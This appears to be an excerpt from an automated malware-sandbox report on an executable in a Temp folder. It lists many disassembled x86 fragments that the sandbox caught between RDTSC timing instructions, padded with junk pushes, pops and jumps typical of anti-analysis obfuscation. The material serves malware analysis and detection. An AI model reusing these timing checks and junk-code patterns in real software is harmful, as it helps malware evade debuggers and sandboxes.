Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20CFF second address: 4A20D23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0F38F9522Dh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20D23 second address: 4A20D38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20D38 second address: 4A20DB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov si, 47BFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov dx, si 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F0F38F9522Fh 0x0000001c sbb si, 0F3Eh 0x00000021 jmp 00007F0F38F95239h 0x00000026 popfd 0x00000027 mov ax, 9287h 0x0000002b popad 0x0000002c pop ebp 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 pushfd 0x00000031 jmp 00007F0F38F95236h 0x00000036 jmp 00007F0F38F95235h 0x0000003b popfd 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A208D7 second address: 4A208F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov bx, 8262h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0F38729BC5h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A208F9 second address: 4A20909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F38F9522Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20909 second address: 4A20933 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F0F38729BC7h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20933 second address: 4A20937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20937 second address: 4A2093D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A2093D second address: 4A20984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, 08D457D0h 0x00000012 pushfd 0x00000013 jmp 00007F0F38F95239h 0x00000018 and ah, 00000056h 0x0000001b jmp 00007F0F38F95231h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A208A1 second address: 4A208A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A208A7 second address: 4A208AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20588 second address: 4A205CA instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F0F38729BC9h 0x00000013 xor ecx, 30E534A6h 0x00000019 jmp 00007F0F38729BC1h 0x0000001e popfd 0x0000001f mov ebx, eax 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A30339 second address: 4A3033F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A3033F second address: 4A30390 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F0F38729BBBh 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 pushad 0x00000014 mov esi, 4D4F0B01h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c mov si, 2783h 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 jmp 00007F0F38729BC6h 0x00000028 pop ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov cx, di 0x0000002f mov si, bx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A60E9F second address: 4A60EA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A60EA5 second address: 4A60EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A40514 second address: 4A4056A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F0F38F95236h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 push ecx 0x00000013 call 00007F0F38F9522Dh 0x00000018 pop eax 0x00000019 pop edi 0x0000001a movzx eax, di 0x0000001d popad 0x0000001e mov eax, dword ptr [ebp+08h] 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F0F38F95234h 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A4056A second address: 4A405B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0F38729BC1h 0x00000009 jmp 00007F0F38729BBBh 0x0000000e popfd 0x0000000f call 00007F0F38729BC8h 0x00000014 pop eax 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 and dword ptr [eax], 00000000h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A405B0 second address: 4A405B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A405B4 second address: 4A405BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A405BA second address: 4A405DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F38F9522Bh 0x00000008 mov esi, 229FAE9Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 and dword ptr [eax+04h], 00000000h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A405DA second address: 4A405E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A405E0 second address: 4A405F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F38F95235h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A206FF second address: 4A20740 instructions: 0x00000000 rdtsc 0x00000002 mov eax, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F0F38729BC6h 0x0000000f sbb si, 7FA8h 0x00000014 jmp 00007F0F38729BBBh 0x00000019 popfd 0x0000001a push ecx 0x0000001b mov edi, 79EBDA4Ah 0x00000020 pop edi 0x00000021 popad 0x00000022 mov dword ptr [esp], ebp 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20740 second address: 4A20744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20744 second address: 4A20788 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushfd 0x00000008 jmp 00007F0F38729BC5h 0x0000000d adc ax, 1276h 0x00000012 jmp 00007F0F38729BC1h 0x00000017 popfd 0x00000018 pop eax 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F0F38729BBAh 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A40036 second address: 4A400CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95231h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F0F38F95237h 0x00000011 add si, 40CEh 0x00000016 jmp 00007F0F38F95239h 0x0000001b popfd 0x0000001c mov eax, 654F3AD7h 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 pushad 0x00000024 movzx esi, bx 0x00000027 pushfd 0x00000028 jmp 00007F0F38F95235h 0x0000002d sbb ax, 9BB6h 0x00000032 jmp 00007F0F38F95231h 0x00000037 popfd 0x00000038 popad 0x00000039 mov ebp, esp 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F0F38F9522Dh 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A40339 second address: 4A4033F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A4033F second address: 4A40343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A40343 second address: 4A403D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F0F38729BC4h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F0F38729BC0h 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 mov ecx, 0FF6774Dh 0x0000001e pushfd 0x0000001f jmp 00007F0F38729BBAh 0x00000024 add si, 3668h 0x00000029 jmp 00007F0F38729BBBh 0x0000002e popfd 0x0000002f popad 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov dx, 75D6h 0x00000038 pushfd 0x00000039 jmp 00007F0F38729BC7h 0x0000003e sbb ecx, 3D4B9A5Eh 0x00000044 jmp 00007F0F38729BC9h 0x00000049 popfd 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A403D9 second address: 4A403DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A403DF second address: 4A403E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A403E3 second address: 4A403E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A60691 second address: 4A60698 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A60698 second address: 4A606C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F0F38F95233h 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F0F38F9522Bh 0x00000016 mov bx, si 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A606C6 second address: 4A606F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F0F38729BBEh 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A606F6 second address: 4A606FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A606FA second address: 4A606FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A606FE second address: 4A60704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A60704 second address: 4A60713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F38729BBBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A60713 second address: 4A6073A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ecx, edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A6073A second address: 4A6073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A6073E second address: 4A6077C instructions: 0x00000000 rdtsc 0x00000002 mov ax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bl, ah 0x0000000e pushfd 0x0000000f jmp 00007F0F38F9522Fh 0x00000014 xor cx, B7FEh 0x00000019 jmp 00007F0F38F95239h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A6077C second address: 4A607A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FB65FCh] 0x0000000e pushad 0x0000000f mov bx, ax 0x00000012 movzx eax, dx 0x00000015 popad 0x00000016 test eax, eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A607A6 second address: 4A607AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A607AC second address: 4A60815 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 mov cx, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F0FAABFCD64h 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F0F38729BC9h 0x00000019 adc ch, FFFFFFF6h 0x0000001c jmp 00007F0F38729BC1h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F0F38729BC0h 0x00000028 or ah, 00000018h 0x0000002b jmp 00007F0F38729BBBh 0x00000030 popfd 0x00000031 popad 0x00000032 mov ecx, eax 0x00000034 pushad 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A60815 second address: 4A60861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F0F38F95230h 0x0000000a xor cx, 9878h 0x0000000f jmp 00007F0F38F9522Bh 0x00000014 popfd 0x00000015 popad 0x00000016 call 00007F0F38F95238h 0x0000001b push ecx 0x0000001c pop ebx 0x0000001d pop esi 0x0000001e popad 0x0000001f xor eax, dword ptr [ebp+08h] 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A60861 second address: 4A60865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A60865 second address: 4A6086B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A6086B second address: 4A60871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A60871 second address: 4A60875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A10008 second address: 4A1007A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F0F38729BC7h 0x0000000b sbb si, F23Eh 0x00000010 jmp 00007F0F38729BC9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F0F38729BBEh 0x0000001f push eax 0x00000020 jmp 00007F0F38729BBBh 0x00000025 xchg eax, ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F0F38729BC5h 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A1007A second address: 4A100AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95231h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F0F38F9522Eh 0x00000010 and esp, FFFFFFF8h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov dx, 9210h 0x0000001a movsx ebx, ax 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A100AD second address: 4A100DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F0F38729BC6h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A100DA second address: 4A100DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A100DE second address: 4A100FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A100FA second address: 4A10117 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 call 00007F0F38F9522Dh 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A10117 second address: 4A1011B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A1011B second address: 4A101EF instructions: 0x00000000 rdtsc 0x00000002 mov di, 345Ch 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ecx 0x0000000a pushad 0x0000000b movzx esi, dx 0x0000000e pushad 0x0000000f jmp 00007F0F38F95235h 0x00000014 pushfd 0x00000015 jmp 00007F0F38F95230h 0x0000001a or ecx, 65BE5FD8h 0x00000020 jmp 00007F0F38F9522Bh 0x00000025 popfd 0x00000026 popad 0x00000027 popad 0x00000028 mov dword ptr [esp], ebx 0x0000002b pushad 0x0000002c jmp 00007F0F38F95234h 0x00000031 pushfd 0x00000032 jmp 00007F0F38F95232h 0x00000037 jmp 00007F0F38F95235h 0x0000003c popfd 0x0000003d popad 0x0000003e mov ebx, dword ptr [ebp+10h] 0x00000041 jmp 00007F0F38F9522Eh 0x00000046 xchg eax, esi 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a mov bx, E3E0h 0x0000004e pushfd 0x0000004f jmp 00007F0F38F95239h 0x00000054 adc ch, FFFFFFE6h 0x00000057 jmp 00007F0F38F95231h 0x0000005c popfd 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A101EF second address: 4A1021F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F38729BC7h 0x00000008 mov bh, ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0F38729BBCh 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A1021F second address: 4A10225 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A10225 second address: 4A10234 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A10234 second address: 4A10238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A10238 second address: 4A1024F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A1024F second address: 4A10279 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0F38F95232h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esi, dword ptr [ebp+08h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0F38F9522Ch 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A10279 second address: 4A1027F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A1027F second address: 4A102CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F0F38F95236h 0x0000000e mov dword ptr [esp], edi 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F0F38F9522Eh 0x00000018 sbb ch, 00000068h 0x0000001b jmp 00007F0F38F9522Bh 0x00000020 popfd 0x00000021 movzx ecx, di 0x00000024 popad 0x00000025 test esi, esi 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A102CC second address: 4A102D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A102D0 second address: 4A102D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A102D6 second address: 4A102DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A102DC second address: 4A102E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
